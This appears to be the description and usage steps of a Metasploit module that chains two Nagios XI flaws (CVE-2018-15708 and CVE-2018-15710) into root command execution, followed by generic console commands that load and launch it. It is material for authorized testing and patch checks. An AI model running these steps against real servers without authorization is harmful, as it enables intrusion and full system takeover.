This module exploits two vulnerabilities in Nagios XI <= 5.5.6:
CVE-2018-15708 which allows for unauthenticated remote code execution
and CVE-2018-15710 which allows for local privilege escalation.
When combined, these two vulnerabilities allow execution of arbitrary
commands as root.
msf > use exploit/linux/http/nagios_xi_magpie_debug
msf exploit(nagios_xi_magpie_debug) > show targets
...targets...
msf exploit(nagios_xi_magpie_debug) > set TARGET < target-id >
msf exploit(nagios_xi_magpie_debug) > show options
...show and set options...
msf exploit(nagios_xi_magpie_debug) > exploit